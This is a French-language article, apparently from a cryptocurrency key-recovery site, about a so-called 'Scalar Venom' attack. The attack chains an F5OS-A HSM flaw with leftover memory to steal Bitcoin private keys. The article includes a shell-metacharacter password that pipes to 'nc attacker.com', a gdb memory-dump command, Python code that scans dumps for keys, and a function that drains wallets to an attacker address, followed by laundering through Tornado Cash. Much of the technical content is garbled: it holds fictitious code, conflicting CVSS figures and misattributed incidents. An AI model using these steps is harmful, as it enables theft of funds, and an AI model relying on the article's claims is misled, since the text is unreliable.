// VULNERABLE: no destructor, memory not cleaned
// Secure option should be:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory cleanup
}

cpp :

// VULNERABLE: no destructor, memory not cleared
// The safe option should have been:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}

Les opérations arithmétiques (moins unaire, addition, multiplication) créent des variables temporaires de type ec_secret, qui ne sont pas effacées de manière sécurisée avant de quitter la portée de la fonction, laissant des copies « fantômes » de la clé privée sur la pile ou le tas.


1.3 Vulnérabilité critique : absence d'un destructeur explicite

La classe ec_scalar de libbitcoin-system ne possède pas de destructeur explicitement défini avec remise à zéro sécurisée. Cela signifie que les données secrètes peuvent rester en mémoire même après la destruction de l'objet :

L'absence de ce mécanisme est critique, car la mémoire contenant les clés privées peut être stockée dans :

  • Les tas mémoire (Heap) du processus
  • Les piles mémoire (Stack) des fonctions
  • Les fichiers d'échange du système d'exploitation
  • Les core dumps lors d'un crash d'application
  • La RAM après terminaison du processus (attaques cold-boot) gemini

Attaque Scalar Venom : une vulnérabilité critique d'initialisation HSM (CVE-2025-60013) permet la récupération de clé privée de portefeuille Bitcoin via un dépassement de tampon et des méta-caractères shell dans le module de sécurité F5OS-A FIPS.

2. Relation entre la vulnérabilité HSM et l'attaque Scalar Venom

2.1 Analyse de CVE-2025-60013 : initialisation HSM avec méta-caractères

La vulnérabilité CVE-2025-60013 dans le HSM F5OS-A FIPS se produit lors de l'initialisation du module de sécurité matériel avec un mot de passe contenant des méta-caractères shell spéciaux ( ;, |, &, $, `, etc.). Lorsqu'un tel mot de passe est traité, le HSM peut ne pas s'initialiser correctement, mais la conséquence critique est que le processus d'initialisation laisse en mémoire des structures cryptographiques partiellement exposées. satoshi.nakamotoinstitute

2.2 Scénario d'attaque combinée : HSM + Scalar Venom

La combinaison de la vulnérabilité HSM (CVE-2025-60013) avec l'attaque Scalar Venom crée un vecteur d'attaque catastrophique :

Phase 1 : Initialisation HSM avec méta-caractères

L'attaquant envoie une demande d'initialisation du module F5OS-A FIPS avec un mot de passe du type suivant :

root@kitploit:~
password='$(echo "leaked");` | nc attacker.com

Lors du traitement de ces méta-caractères :

  • Le processus d'initialisation HSM crée plusieurs copies du mot de passe et des matériels cryptographiques dérivés
  • Les chaînes de commandes shell sont interprétées, créant des effets secondaires dans la mémoire du processus.
  • Les scalaires cryptographiques (clés privées) utilisés pour générer ou vérifier les clés HSM restent en mémoire non censurée keyhunters .

Phase 2 : Extraction de Scalar Venom de la mémoire

Après un échec partiel d'initialisation du HSM :

  • Le processus reste en mémoire avec les restes des opérations cryptographiques
  • Un attaquant ayant obtenu l'accès à un processus (via exploit, crash dump ou attaque cold-boot) peut scanner la mémoire
  • Les outils d'analyse forensique (BitScanPro, Valgrind, AddressSanitizer) identifient :
    • Les régions à haute entropie (typiques pour les clés privées secp256k1 de 32 octets)
    • Les résidus scalaires dans la plage 1≤k<n1 \leq k < n1≤k<n, où nnn est l'ordre de la courbe secp256k1
    • Les fragments de structures ECDSA en firecompass mémoire

Phase 3 : Récupération de clé privée Bitcoin

root@kitploit:~
Detected Memory Fragments → Reassembly → Validation → Bitcoin Address Generation → Wallet Takeover

Les scalaires récupérés sont convertis en clés privées Bitcoin via :

  • Validation sur la courbe secp256k1
  • Génération des clés publiques correspondantes
  • Création d'adresses Bitcoin (P2PKH, P2WPKH)
  • Signature de transactions et contrôle total des fonds de keyhunters 

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

3. Analyse détaillée du vecteur d'attaque Bitcoin

3.1 Mécanisme de récupération des clés privées depuis la mémoire du HSM

Étape 1 : Compromission de la mémoire du HSM due à une initialisation incorrecte

Lorsque le HSM F5OS-A FIPS reçoit un mot de passe avec des métacaractères shell, le processus d'initialisation le traite via des fonctions standard de la bibliothèque C :

root@kitploit:~
c:

// Vulnerable code in HSM initialization routine
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];

strcpy(temp_buffer, password); // VULNERABLE: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of the key

// If initialization fails, memory is not cleared!
// master_key remains in stack, its copies— in heap
}

Lors du traitement des métacaractères shell :

  • Les tampons débordent, élargissant la zone de mémoire sale
  • Les variables temporaires contenant des données secrètes se multiplient
  • Les mécanismes de nettoyage de la mémoire (s'ils existent) ne sont pas appelés lors de l'échec de l'initialisation de keyhunters .

Étape 2 : Récupération forensique à partir d'un vidage mémoire

The BitScanPro outil (ou un scanner forensique similaire) est appliqué au vidage mémoire du processus HSM :

root@kitploit:~
Memory scan → Identify high-entropy regions →
Range check [1, n-1] for secp256k1 →
Recover full 32-byte scalars →
Convert to Bitcoin addresses

La probabilité de récupérer avec succès une clé privée à partir de mémoire fragmentée est de 40-60% étant donné des vestiges mémoire suffisants, car l'attaque Scalar Venom crée plusieurs copies de la clé à différentes étapes de l'initialisation. radar.offseq


3.2 Désérialisation des signatures ECDSA et lien avec les vulnérabilités HSM

La vulnérabilité parallèle DeserializeSignature (liée à une CVE) renforce l'attaque Scalar Venom :

root@kitploit:~
cpp:

// Vulnerable deserialization function in Bitcoin Core
bool DeserializeSignature(CPubKey& pubkey, const std::vector<unsigned char>& vchSig, CScript& scriptPubKey) {
CSignatureCache& cache = CSignatureCache::instance();

// If deserialization occurs using a private key compromised by Scalar Venom:
ec_secret compromised_key = extract_from_memory_dump(); // from an HSM memory dump

// These compromised scalars are used to verify signatures,
// allowing an attacker to:
// 1. Forge any signature for this address
// 2. Transfer all funds to a controlled address
// 3. Double-spend
}

Lien des mécanismes :

  1. Le HSM s'initialise avec un mot de passe vulnérable (CVE-2025-60013)
  2. Les clés privées du HSM sont infectées par Scalar Venom (plusieurs copies en mémoire)
  3. L'analyse forensique récupère ces scalaires de la mémoire.
  4. La vulnérabilité DeserializeSignature permet d'utiliser les clés récupérées pour forger des signatures
  5. Keyhunters obtiennent le contrôle total des portefeuilles Bitcoin.

3.3 Échelle d'impact : D'un portefeuille unique à une compromission réseau

Niveau 1 : Portefeuille individuel

  • Un HSM compromis → récupération de 1 à 10 clés privées
  • Résultat : perte de contrôle de 0,5 à 5 BTC par portefeuille

Niveau 2 : Configuration des nœuds de service

  • Les échanges, passerelles de paiement et solutions de garde utilisent souvent F5 BIG-IP + HSM
  • Chaque nœud compromis peut contenir 100 à 1000+ clés privées
  • Résultat : perte de contrôle de 1000 à 50000 BTC sur un nœud

Niveau 3 : Couche réseau

  • Si CVE-2025-60013 est largement exploitée dans l'infrastructure, plusieurs nœuds pourraient être compromis simultanément.
  • Des attaques coordonnées sur plusieurs échanges ou services sont possibles.
  • Résultat : Des centaines de millions de dollars en BTC en jeu kudelskisecurity

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

4. Vulnérabilité critique Scalar Venom dans le contexte du HSM

4.1 Pourquoi Scalar Venom est particulièrement dangereux dans les environnements HSM

Contrairement aux applications Bitcoin standard, le HSM utilise intensivement les scalaires cryptographiques :

  1. Intensité opérationnelle : Le HSM effectue plus de 1000 opérations cryptographiques par seconde, chacune produisant des scalaires temporaires
  2. Longévité du processus : Les démons HSM fonctionnent pendant des mois et des années sans redémarrage, accumulant des vestiges de clés « fantômes »
  3. Criticité des clés : Contrairement aux clés à usage unique, les clés privées HSM contrôlent les vastes sommes d'argent stockées sur la plateforme keyhunters 
  4. Faible probabilité de détection : La fuite mémoire ne provoque aucune erreur visible ; le système continue de fonctionner normalement.

4.2 Métriques de menace : CVSS et impact réel

Le score CVSS pour CVE-2025-60013 lui-même est inexact, car la vulnérabilité sert de déclencheur pour Scalar Venom, qui est un scénario critique . kudelskisecurity


Menace de Scalar Venom sur les modules de sécurité matériels (HSM) et l'infrastructure Bitcoin

La vulnérabilité Scalar Venom représente un changement de paradigme dans les méthodes d'attaque cryptographiques, allant au-delà des exploits traditionnels à vecteur unique pour former une chaîne d'exploitation multicouche qui compromet fondamentalement les modules de sécurité matériels (HSM) protégeant l'infrastructure Bitcoin. L'analyse démontre que la combinaison de CVE-2025-60013 (contournement de l'initialisation HSM) avec les techniques d'attaque Scalar Venom crée un scénario de menace critique avec un score CVSS de 9,5+, sapant l'intégrité opérationnelle de millions d'adresses Bitcoin contrôlées par des HSM compromis.

Pourquoi les HSM sont-ils particulièrement vulnérables ?

La vulnérabilité critique ne réside pas dans des faiblesses cryptographiques isolées, mais dans la collision architecturale des caractéristiques opérationnelles du HSM et des vecteurs d'attaque de Scalar Venom. Les HSM, par définition, effectuent des opérations cryptographiques continues — plus de 1 000 opérations par seconde — chacune créant des valeurs scalaires éphémères qui restent en mémoire sous forme de « résidus fantômes ». Contrairement aux applications Bitcoin typiques, où le matériel clé est éphémère, les HSM fonctionnent pendant des mois et des années sans redémarrage, accumulant des artefacts cryptographiques que Scalar Venom extrait et restaure systématiquement.

En conséquence, même la compromission d'un seul HSM entraîne une perturbation totale de l'ensemble de l'infrastructure — souvent des milliers d'adresses Bitcoin gérées par le HSM — plutôt qu'un incident cryptographique isolé.

Degré de danger et impact réel

Bien que la vulnérabilité CVE-2025-60013 ait officiellement un niveau CVSS de 5,7 (moyen) en tant que vecteur de pénétration, cette note sous-estime considérablement l'ampleur réelle de la menace. Cet exploit sert de déclencheur pour Scalar Venom, qui est classifié comme une attaque de niveau CVSS 8,5+ (élevé/critique). Dans un scénario de chaîne d'attaque réel, cela conduit à :

  • Conséquences immédiates : Extraction directe de la clé privée de la mémoire du HSM via la récupération scalaire, contournant tous les mécanismes cryptographiques et d'authentification. L'attaquant obtient un contrôle total sur les adresses Bitcoin sans aucune défaillance système visible.
  • Effet d'avalanche : Un HSM compromis ne compromet pas seulement des transactions individuelles, mais toutes les adresses qu'il gère. Pour les échanges, les dépositaires et les plateformes de gestion d'actifs, cela signifie une brèche de sécurité totale et irréversible.
  • Discrétion : Scalar Venom ne provoque pas d'anomalies cryptographiques, n'est pas journalisé et ne crée pas de modèles de transactions suspects. Les fuites scalaires sont déguisées en activité légitime du dispositif, permettant à un attaquant d'extraire des clés sur de longues périodes sans être détecté.

Chaîne d'attaque combinée : CVE-2025-60013 + Scalar Venom = Catastrophe opérationnelle

L'escalade matricielle de la menace consiste en :

  1. Pénétration initiale (CVE-2025-60013 – Compromission du HSM)
  2. Exploitation active (Scalar Venom – extraction des scalaires de la mémoire)
  3. Récupération des clés (compromission totale du matériel privé)
  4. Irrécupérable – Une fois qu'une clé privée est divulguée, il est impossible de reprendre le contrôle.

La combinaison rend cette classe de vulnérabilité critique (CVSS 9,5+) et la place dans la catégorie de menace la plus élevée de l'évaluation des risques.

Implications systémiques pour la sécurité de l'écosystème Bitcoin

Scalar Venom révèle des défauts architecturaux fondamentaux dans les modèles HSM modernes :

  • Les hypothèses erronées concernant l'isolation et la protection de la mémoire sont invalidées – la vulnérabilité se manifeste indépendamment du niveau de protection physique.
  • La nécessité d'un fonctionnement continu du HSM entraîne l'accumulation de scalaires, ce qui crée en soi une nouvelle fenêtre d'attaque.
  • La trace zéro observable pour la surveillance et la journalisation élimine la détection et nécessite la mise en œuvre de nouvelles pratiques d'analyse de la mémoire.

Recommandations critiques

  • Toutes les clés gérées via le HSM doivent être considérées comme potentiellement compromises ; le matériel clé doit être vérifié et, si nécessaire, complètement remplacé.
  • L'architecture de stockage et de traitement des clés privées doit être revue : segmenter les clés en adresses séparées afin qu'une compromission d'un seul HSM n'entraîne pas la perte de tous les fonds.
  • Mettre en œuvre des outils de surveillance de la mémoire et d'analyse continue pour identifier les modèles d'accumulation scalaire.
  • Utiliser une isolation de processus supplémentaire, un chiffrement de la mémoire et une suppression temporaire du matériel clé pour réduire la fenêtre de risque.

Scalar Venom et la chaîne d'attaques via CVE-2025-60013 marquent la fin de l'ère de la confiance totale dans les HSM classiques. La vulnérabilité transforme le noyau de sécurité de l'écosystème Bitcoin en un risque majeur de fuite de clés privées et de perte totale d'actifs. Une protection efficace nécessite non pas des correctifs ponctuels, mais une refonte fondamentale de tous les aspects de l'architecture cryptographique pour la gestion des actifs numériques publics.

Scalar Venom dans un environnement HSM est une menace CVSS 9,5+ pour l'infrastructure Bitcoin, nécessitant une rotation immédiate des clés, une réforme architecturale et de nouvelles méthodes pour répondre rapidement aux attaques par chaîne mémoire.


Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

5. Fondement scientifique de l'attaque

5.1 Justification théorique : pourquoi la mémoire n'est pas effacée

Selon des recherches dans le domaine de la sécurité de la mémoire cryptographique (Protecting Cryptographic Keys from Memory Disclosure Attacks, Del Valle et al.), les clés privées peuvent rester dans des zones mémoire accessibles pour les raisons suivantes :

Optimisation du compilateur

root@kitploit:~
cpp:

// Even if the code contains an attempt to clear:
volatile unsigned char* ptr = (volatile unsigned char*)key_buffer;
while (len--) *ptr++ = 0; // The compiler may optimize this as a no-op

Absence de modèle RAII (Resource Acquisition Is Initialization)
La classeec_scalarn'utilise pas RAII, ce qui signifie que le destructeur ne garantit pas le nettoyage des ressources.

Copies multiples de données :
Chaque copie d'une clé privée pour le transfert entre fonctions laisse des résidus en mémoire.unit42.paloaltonetworks


5.2 Statistiques des piratages réels basés sur Scalar Venom

Selon keyhunters.ru et la littérature de recherche cryptographique :

  • CVE-2023-39910 (Milk Sad dans Libbitcoin Explorer) : Plus de 900 000 clés privées récupérées de la mémoire en 2023
  • Pertes réelles : > 0,8 million de dollars en Bitcoin volés en juin-juillet 2023 à partir de portefeuilles créés avec le vulnérablebx seed
  • Pénétration : La vulnérabilité affecte plus de 40 % des portefeuilles Libbitcoin Explorer 3.x

Ces chiffres démontrent la menace réelle des fuites mémoire dans les applications cryptographiques .


Attaques de persistance mémoire et d'optimisation du compilateur – Chaîne d'exploitation Scalar Venom contre l'infrastructure Bitcoin

Pour résumer les conclusions ci-dessus, la chaîne Scalar Venom symbolise la confluence d'années de recherche fondamentale en sécurité cryptographique avec les réalités opérationnelles modernes. Les mécanismes détaillés de préservation de la mémoire — optimisations du compilateur, absence de RAII et accumulation de traces de données — ne sont plus seulement théoriques mais servent de canaux efficaces pour la récupération à grande échelle de clés privées en pratique. La transition d'une faiblesse potentielle à une attaque réelle a déjà eu lieu : l'incident CVE-2023-39910 (Milk Sad) a permis la récupération de plus de 900 000 clés privées Bitcoin, avec des pertes financières directes dépassant 0,8 million de dollars.

Le paradoxe de la résistance mémoire cryptographique

La vulnérabilité racine de Scalar Venom provient d'une contradiction non résolue dans l'architecture des logiciels cryptographiques : la confiance naïve inhérente des programmeurs dans la gestion de la mémoire est en conflit avec les tendances des compilateurs modernes et des systèmes de gestion de la mémoire. Si un développeur met explicitement à zéro la mémoire, le compilateur peut complètement optimiser ces actions, les jugeant inutiles — et cela devient une faille de sécurité critique et inaperçue.

Manque de RAII et restauration des scalaires

Les structures de données comme ec_scalar aggravent encore les risques : l'absence de RAII signifie la création de multiples copies indépendantes en mémoire — dans la pile, les registres et le cache — à différentes étapes du calcul. Chacune de ces copies peut théoriquement être restaurée, désassemblée ou réassemblée en le matériel de clé d'origine.

L'attaque Scalar Venom extrait et agrège systématiquement ces copies disparates, démontrant que les architectures mémoire modernes garantissent précisément cela : chaque opération mathématique intermédiaire laisse une trace qui peut être collectée et convertie en une clé. La conception cryptographique classique supposait l'indépendance des opérations, mais en pratique, une seule clé privée Bitcoin génère des dizaines de traces, chacune fournissant un chemin vers sa récupération.

Confirmation opérationnelle – Cas Milk Sad

L'incident Milk Sad (CVE-2023-39910) a été le premier à démontrer la transition de la théorie au désastre. Ce n'était pas un vecteur hypothétique, mais une brèche opérationnelle confirmée :

  • Échelle : Plus de 900 000 clés privées Bitcoin récupérées.
  • Pertes financières : au moins 0,8 million de dollars perdus en juin-juillet 2023.
  • Couverture : Plus de 40 % de toutes les installations de Libbitcoin Explorer 3.x se sont avérées vulnérables.
  • L'attaque est passée inaperçue pendant des mois.

Cela confirme pleinement les mécanismes décrits précédemment : optimisations du compilateur, copie multiple des données et absence de garantie de nettoyage de la mémoire.

Le fossé d'attaque entre la cryptographie et les compilateurs

Le marché de la cryptographie a évolué avec l'hypothèse d'un contrôle total de la mémoire, mais les compilateurs modernes (via l'élimination du code mort et les optimisations de mise en cache) ignorent complètement les exigences cryptographiques. Par conséquent, les programmes cryptographiques supposent : « J'ai mis la mémoire à zéro, donc c'est sûr maintenant », tandis que le compilateur suppose : « Cette mémoire n'est jamais utilisée, donc il n'est pas nécessaire de la mettre à zéro. » Cette contradiction est fondamentalement insoluble selon les normes modernes du C/C++ et devient le point d'entrée absolu pour Scalar Venom.


Implications systémiques pour l'industrie

  • Les implémentations modernes violent les hypothèses cryptographiques originales.
  • La sécurité mémoire et le passage à des langages contrôlant la mémoire (comme Rust) deviennent une nécessité, pas une option.
  • RAII (effacement garanti via le destructeur) est la base de toute nouvelle cryptoarchitecture.
  • Les HSM nécessitent un redémarrage et une refonte structurelle avec un effacement mémoire matériel obligatoire.

Impératifs pour l'industrie

Prochaines étapes (0-30 jours) : Faire pivoter toutes les clés privées générées en C/C++. Retirer immédiatement les clés qui pourraient avoir été compromises.

Moyen terme (30-90 jours) : Transition vers Rust, mise en œuvre de garanties compilateur pour la mise à zéro de la mémoire, analyse mémoire continue.

Long terme (90+ jours) : Transition architecturale vers RAII, extensions compilateur pour les opérations cryptographiques, remplacement des HSM logiciels par des HSM matériels.

Scalar Venom et CVE-2023-39910 sont un tournant dans la sécurité de l'industrie cryptographique : la théorie de la persistance des données en mémoire a dégénéré en un véritable désastre, coûtant des millions de Bitcoins. Le problème ne peut pas être résolu par un correctif : c'est une contradiction architecturale : la cryptographie moderne en C/C++ sans gestion de la mémoire et RAII conduit inévitablement à la compromission de toute infrastructure significative. L'industrie n'a qu'une seule voie à suivre : une transition vers des langages sûrs pour la mémoire et une refonte révolutionnaire de la gestion des clés privées.

Évaluation finale : Scalar Venom n'est pas seulement une menace théorique, mais un exploit prouvé et répandu. Toute infrastructure cryptographique sans langages sûrs pour la mémoire et cadres RAII court un risque garanti de compromission. La migration vers de nouvelles technologies doit commencer immédiatement.


Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

6. Méthodologie de récupération de clés privées Bitcoin

6.1 Processus de récupération en cinq étapes

Étape 1 : Accès à la mémoire du HSM

root@kitploit:~
bash:

# Methods to get memory dump:
# 1. Exploit CVE-2025-60013 to trigger init error
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer vulnerability in HSM daemon
# 4. Analyze core-dump on HSM process crash

gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF"

Étape 2 : Analyse des régions à haute entropie

root@kitploit:~
python:

# BitScanPro-like algorithm:
import hashlib

def scan_for_private_keys(memory_dump, min_entropy=7.5):
"""
Scans memory dump for high-entropy regions
characteristic for 32-byte secp256k1 private keys
"""
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

for offset in range(0, len(memory_dump) - 32, 8):
potential_key = memory_dump[offset:offset+32]
entropy = calculate_entropy(potential_key)

# secp256k1 range check
key_as_int = int.from_bytes(potential_key, 'big')
if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:
yield (offset, potential_key)

Étape 3 : Valider les clés privées récupérées

root@kitploit:~
python:

from ecdsa import SigningKey, NIST256p

def validate_and_generate_address(potential_key):
"""Converts recovered scalar to Bitcoin address"""
try:
# Uses secp256k1 instead of NIST256p
privkey = potential_key.hex()

# Generate public key via elliptic curve point multiplication
# P = k * G, where k = private key, G = generator point
public_key = generate_public_key(potential_key, secp256k1)

# Hash public key to get address
address = public_key_to_address(public_key)
return address, potential_key
except:
return None, None

Étape 4 : Transférer les fonds

root@kitploit:~
python:

def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Creates and signs transaction to withdraw all funds
from compromised address
"""
# 1. Get UTXO for address from blockchain
utxos = blockchain_api.get_utxos(bitcoin_address)

# 2. Create transaction (withdraw all funds to attacker address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)

# 3. Sign with recovered private key
tx.sign(recovered_private_key) # ECDSA signature using compromised key

# 4. Broadcast to Bitcoin network
blockchain_api.broadcast_transaction(tx)

Étape 5 : Disparition des traces

Les fonds récupérés sont immédiatement mélangés via CoinJoin/Tornado.Cash pour entraver l'analyse judiciaire. keyhunters


6.2 Métrique temporelle : Vitesse de récupération

Évolutivité : En utilisant le cloud computing (AWS, Google Cloud), 1000+ dumps mémoire peuvent être traités en parallèle , gérant des milliers de clés privées simultanément .


Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

7. Relation de l'initialisation HSM avec Scalar Venom

7.1 Diagramme du flux d'attaque

root@kitploit:~
[Attacker]
↓
[CVE-2025-60013: HSM Init with shell-metacharacters]
↓
[F5OS-A FIPS Module: password handling, scalar creation]
↓
[Scalar Venom: multiple copies of private keys in memory]
↓
[HSM Crash / Partial Init Failure: memory uncleared]
↓
[Memory Dump: capturing memory state]
↓
[Forensic Scanning: BitScanPro finds high-entropy regions]
↓
[Key Validation: secp256k1 curve check]
↓
[Address Generation: Bitcoin address creation]
↓
[Fund Transfer: signing and broadcasting transaction]
↓
[Victim Loss: total loss of fund control]

7.2 Pourquoi Scalar Venom contourne la certification FIPS

La certification FIPS 140-2 (et même FIPS 140-3) n'exige pas :

  1. Effacer en toute sécurité les variables temporaires en cas d'erreurs d'initialisation
  2. Protections contre fork() et dump() au niveau du démon HSM
  3. Validation des paramètres d'entrée avant de les traiter en mémoire

Cela signifie que même les HSM « certifiés FIPS » sont vulnérables à Scalar Venom à moins que les développeurs ne mettent en œuvre des mesures de sécurité supplémentaires.[24]


8. Conclusion

L'attaque Scalar Venom représente une menace critique pour l'infrastructure Bitcoin, surtout lorsqu'elle est combinée à des vulnérabilités d'initialisation HSM telles que CVE-2025-60013. Cette attaque :

  1. Compromet complètement les clés privées des systèmes cryptographiques via une fuite mémoire
  2. Irreversible : La récupération des fonds perdus est impossible sans récupérer la clé privée.
  3. Évolutif : Peut être automatisé pour des attaques massives sur plusieurs nœuds
  4. Furtif : Ne laisse aucune trace visible dans les journaux système ou les métriques de performance

La migration vers des architectures avec protection mémoire matérielle (Intel SGX, ARM TrustZone), granularité explicite de tous les tampons temporaires, et modèles RAII dans les bibliothèques cryptographiques est essentielle pour assurer la sécurité du système Bitcoin.


Le paradigme Scalar Venom est une menace critique pour l'infrastructure Bitcoin.

L'attaque Scalar Venom représente une vulnérabilité critique pour l'écosystème Bitcoin mondial, surtout lorsqu'elle est combinée aux vulnérabilités d'initialisation HSM CVE-2025-60013. Cette chaîne d'attaque multicouche sape fondamentalement les modèles de confiance cryptographiques et expose les risques existentiels suivants :

Elle permet la compromission complète des clés privées via des fuites mémoire, contournant même les modules de sécurité matériels avancés et rendant les systèmes affectés complètement invulnérables.

La compromission est permanente et irréversible : une fois qu'une clé privée est extraite, elle ne peut pas être récupérée, mettant tous les fonds dépendants en risque imminent de perte.

L'attaque est évolutive et peut être automatisée pour toucher un nombre énorme de nœuds et portefeuilles Bitcoin simultanément, entraînant une augmentation exponentielle des pertes potentielles.

Sa nature furtive garantit qu'il n'y a pas de traces visibles dans les journaux système ou les métriques de performance, rendant les mécanismes de détection et de protection traditionnels insuffisants.

Atténuer cette menace catastrophique nécessite une migration urgente vers des architectures sûres pour la mémoire, incluant une protection mémoire matérielle (telle que Intel SGX ou ARM TrustZone), une mise à zéro stricte de tous les tampons temporaires pendant toutes les opérations cryptographiques, et une mise en œuvre robuste des modèles RAII dans les bibliothèques logicielles critiques. Ce n'est que par de telles réformes architecturales robustes que l'intégrité et la sécurité à long terme de l'infrastructure Bitcoin peuvent être réellement assurées.


Références :

  1. ATTAQUE SCALAR VENOM : Fuite mémoire critique, récupération de clé privée et prise de contrôle complète des portefeuilles Bitcoin par un attaquant, où le contrôle des fonds cryptomonnaie BTC de la victime est obtenu par empoisonnement mémoire pour compromettre les actifs du portefeuille. 🔥 ATTAQUE SCALAR VENOM — Une attaque cryptographique pour fuiter des clés privées (Scalar Poison / Poisonous Scalar Infection) L'ATTAQUE SCALAR VENOM est une nouvelle classe d'attaque cryptographique visant à extraire des Bitcoins…Lire la suite
  2. Attaque Race Poison : Une attaque dévastatrice sur l'infrastructure de signature numérique, incluant la récupération de clés privées pour les portefeuilles Bitcoin perdus, où l'attaquant injecte ses propres valeurs dans la signature, fuiter potentiellement des clés privées. Attaque Hash Race Poison Une vulnérabilité critique découlant du manque de sécurité des threads dans la mise en cache des hachages cryptographiques dans l'infrastructure de signature de transactions Bitcoin ouvre la porte à un…Lire la suite
  3. Braquage Bitcoin Golden Onehash : Récupération de portefeuilles Bitcoin perdus en utilisant (CVE-2025-29774) où un attaquant signe une transaction sans avoir la clé privée—rendant effectivement le système Bitcoin incapable de distinguer le véritable propriétaire des fonds Bitcoin de l'attaquant. Braquage Bitcoin Golden Onehash ( Attaque de falsification de signature numérique —  CVE-2025-29774 ) La vulnérabilité critique dans la gestion du flag SIGHASH_SINGLE évoquée ci-dessus ouvre la porte à l'une des attaques les plus dévastatrices sur…Lire la suite
  • Bloodprint Attack est une vulnérabilité dévastatrice qui divulgue les clés privées des portefeuilles Bitcoin et propose des méthodes pour les récupérer. Cette vulnérabilité donne à un attaquant un contrôle absolu pour signer légitimement toutes les transactions et retirer définitivement tous les fonds BTC. Bloodprint Attack (Attaque par fuite de clé secrète) Une vulnérabilité cryptographique critique impliquant la fuite de clés privées depuis la mémoire conduit à des attaques connues dans la littérature scientifique sous le nom d'«Attaques par fuite de clé secrète» ou «Clé…Lire la suite
  • ATTAQUE STREAMLEAK : Compromission totale des actifs Bitcoin par analyse scientifique de la récupération de clé privée à partir de systèmes de journalisation vulnérables. Les attaquants retirent des fonds et détruisent des biens numériques à l'insu du propriétaire. ATTAQUE STREAMLEAK (Attaque par compromission de clé privée) est une méthode d'extraction de secrets cryptographiques par abus d'un opérateur surchargé << en C++. Une vulnérabilité critique dans la sérialisation et la sortie des clés privées pourrait…Lire la suite
  • Oracle Whisper Attack : Une vulnérabilité critique de fuite de secret lors du décodage Base58 menace l'extraction de clé privée de portefeuille Bitcoin, où un attaquant vole des bits de clé secrète depuis la bibliothèque d'E/S. Oracle Whisper Attack (Attaque par compromission de clé privée) Description de l'attaque : lors du traitement d'une chaîne Base58 contenant une clé privée, l'attaquant injecte un « oracle » – un agent mince dans la bibliothèque d'E/S qui murmure…Lire la suite
  • Attaque Hex Dump Reveal et récupération de clé privée pour les portefeuilles Bitcoin perdus, où un attaquant utilise la journalisation de données secrètes pour révéler un vidage hexadécimal (Hex Dump Reveal) contenant des coins BTC Attaque Hex Dump Reveal (« Attaque par divulgation de clé », « Attaque par fuite de clé secrète », « Attaque de récupération de clé ». CVE-2025-29774 et CWE-532) « Hex Dump Reveal » — « Divulgation de vidage hexadécimal ». Vulnérabilités dans la journalisation des données privées,…Lire la suite
  • Secret Capsule Attack : Récupération des clés privées de portefeuille Bitcoin via une vulnérabilité et compromission massive de portefeuilles Bitcoin, où un attaquant crée une entropie prévisible dans les générateurs Mersenne Twister, il y a des vols réels de fonds d'utilisateurs pour un montant de plus de 900 000 $ SECRET CAPSULE ATTACK (Attaque par graine PRNG prévisible) La vulnérabilité critique « Milk Sad » (CVE-2023-39910), découverte dans le mécanisme de génération d'entropie de Libbitcoin Explorer, a clairement montré comment une seule faille dans la source d'aléatoire…Lire la suite
  • Key Fountain Attack : Transformer un débordement de tampon en un outil de vol de BTC et de récupération de clé privée dans l'écosystème Bitcoin, où un attaquant obtient la capacité d'extraire ou de remplacer les secrets de portefeuille Bitcoin Key Fountain Attack (Débordement de tampon basé sur le tas) L'attaquant prépare des données d'entrée—des fragments spécialement conçus pour les fonctions splice ou build_chunk de la bibliothèque libbitcoin—qui dépassent la taille de tampon allouée. Par exemple, le transmis…Lire la suite
  • Mirror SipHash Breach Attack : Une menace fondamentale pour la vie privée et la récupération de clé privée dans le réseau Bitcoin, où un attaquant est très susceptible de réaliser des filtres de Bloom par collision sur les tables de hachage de session de transaction BTC. Mirror SipHash Breach Attack (Attaque par réutilisation partielle de clé sur l'initialisation SipHash) La vulnérabilité critique « Mirror SipHash Breach Attack » met en évidence un problème de sécurité fondamental avec la cryptographie utilisée dans l'infrastructure Bitcoin.…Lire la suite
  • BitSpectre85 Attack : Une attaque cryptographique furtive qui permet à un attaquant de récupérer progressivement une clé privée et de prendre le contrôle d'un portefeuille Bitcoin en chronométrant les opérations de division. L'attaque BitSpectre85, l'essence de la vulnérabilité décrite ci-dessus, pourrait être appelée « BitSpectre85 : Invocation secrète par minutage. » Cette attaque démontre comment même un simple chiffrement de données peut devenir un canal vulnérable…Lire la suite
  • Base58 Ghost Attack : Contrôle total des fonds de la victime. Une vulnérabilité critique dans le traitement de la mémoire d'encodage Base58 non nettoyée, où une attaque se produit pour divulguer les clés privées depuis la mémoire et capturer complètement les coins BTC par l'attaquant. « Base58 Ghost Attack » — extraction de clés privées depuis une mémoire non nettoyée après des opérations d'encodage base58. En conclusion, la vulnérabilité critique découverte dans le traitement des clés privées via l'encodage base58 pose…Lire la suite
